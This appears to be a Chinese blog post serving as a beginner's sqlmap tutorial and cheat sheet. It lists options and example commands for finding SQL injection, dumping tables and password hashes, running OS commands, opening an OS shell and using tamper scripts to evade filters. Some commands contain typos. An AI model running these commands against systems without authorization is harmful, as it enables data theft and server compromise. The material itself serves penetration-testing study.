Web安全——SQLMAP基本使用

SQLMAP使用

在这里插入图片描述

SQLMAP是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,lBM DB2,SQLite,Firebird, Sybase和SAP MaxD。

SQLMAP常用参数

sqlmap -hh
Target目标
Request请求
Optimization优化
Injection注入
Detection检测
Fingerprint指纹
Enumeration枚举
Burte force蛮力
File system access访问文件系统
Operating system access操作系统访问
Windows注册表访问
General一般
Miscellaneous杂项
命令信息
–batchsqlmap不会询问你输入,全部默认确定
-u指定URL,?id=*,利用并明确注入参数
–data “id=1”POST请求
-p指定注入参数
-r filepathsqlmap可以从一个文本文件中获取HTTP请求,
这样就可以跳过设置—些其他参数(比如cookie,POST数据,等等)
–cookie在浏览器中登录目标网站后复制出维持登录状态的cookie,例如
–cookie “JSESSIONID=E5D6C8C81;NAME=winner;”
–level3 HTTP User-Agent/Referer
2 Cookie 默认1
-v-v表示显示sq1map在进行注入时的详细信息,一共有七个等级,默认为1
0、只显示python错误以及严重的信息
1、同时显示基本信息和警告信息
2、同时显示debug信息
3、同时显示注入的payload
4、同时显示HTTP请求
5、同时显示HTTP响应头
6、同时显示HTTP响应页面

SQLMAP常用命令

信息命令
获取 DataName 数据库的表列-D DataName --tables
字段–columns -T “tablename” -D “db_name” -v 0
获取字段数据-D DataName -T TableNamen -C “admin,password” --dump -v 0
列出指定字段,列出20条–dump -C “password,user,id” -T “tablename”-D “db_name” --start 1 --stop 20
列出所有数据库所有表–dump-all -v 0
--version           #显示程序的版本号并退出
-h, --help          #显示此帮助消息并退出
-u                  #设置目标URL
-p                  #指定测试参数
-D                  #指定要进行枚举的数据库名
-T                  #指定要进行枚举的数据库表
-C                  #指定要进行枚举的数据库列
-U                  #指定要进行枚举的数据库用户
--current-user      #获取当前用户名称
--current-db        #获取当前数据库名称
--cookie            #设置cookie值
--dbs               #列出数据库
--tables            #列出数据库中的表
--columns           #列出表中的列
--dump              #列出表中的字段
--sql-shell         #执行SQL命令
--os-cmd            #执行系统命令
--os-shell          #与系统交互shell
-r                  #加载外部请求包
--data=DATA         #通过POST发送数据字符串
--level=LEVEL       #执行测试的等级(1-5,默认为1)
--risk=RISK         #执行测试的风险(0-3,默认为1)
-v VERBOSE          #详细级别:0-6 (默认为1)
--proxy=PROXY       #使用HTTP代理连接到目标URL
--user-agent        #指定HTTP User-Agent
--tamper=TAMPER     #使用给定的脚本(S)篡改注入数据
#获取当前用户名称
sqlmap-u "http://url/news?id=1" --current-user

#获取当前数据库名称
sqlmap-u "http://url/news?id=1" --current-db

#枚举所有数据库名
sqlmap-u "http://url/news?id=1" --dbs

#列出指定数据库的表名
sqlmap-u "http://url/news?id=1" -D "db_name" --tables

#列列出指定数据库对应表的字段
sqlmap-u "http://url/news?id=1" -D "db_name" -T "tablename" --columns

#获取字段内容
sqlmap-u "http://url/news?id=1" -D "db_name" -T "table_name" -C "column_name"--dump

#dbms指定数据库类型
sqlmap-u "http://url/news?id=1" --dbms "Mysql" --users

#列数据库用户
sqlmap-u "http://url/news?id=1" --users

#数据库用户密码
sqlmap-u "http://url/news?id=1" --passwords

#执行指定sql命令
sqlmap-u "http://url/news?id=1" --sql-shell

#执行系统命令
sqlmap-u "http://url/news?id=1" --os-cmd=whoami

#系统交互shell
sqlmap-u "http://url/news?id=1" --os-shell

#保存进度
sqlmap-u "http://url/news?id=1" --dbs -o"sqlmap.log"

#恢复已保存进度
sqlmap-u "http://url/news?id=1" --dbs -o"sqlmap.log" --resume

#加载脚本(可利用绕过注入限制)
sqlmap-u "http://url/news?id=1" --tampe r"space2comment"

基本注入流程

#判断注入点和数据类型:
sqlmap -u "http://www.test.php?id=1" --GET方法注入

#判断数据库名(dbs)
sqlmap -u "http://www.test.php?id=1" --dbs

#判断表名(tables)
sqlmap -u "http://www.test.php?id=1"-D 数据库名 --tables

#判断列名(columns)
sqlmap -u "http://www.test.php?id=1"-D 数据库名 -T 表名 --column

#获取字段
sqlmap -u "http://www.test.php?id=1"-D 数据库名 -T 表名 -C 列名 --dump

SQLMAP流程图

在这里插入图片描述

注:多多使用才是王道,以至于熟练掌握,加油!

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值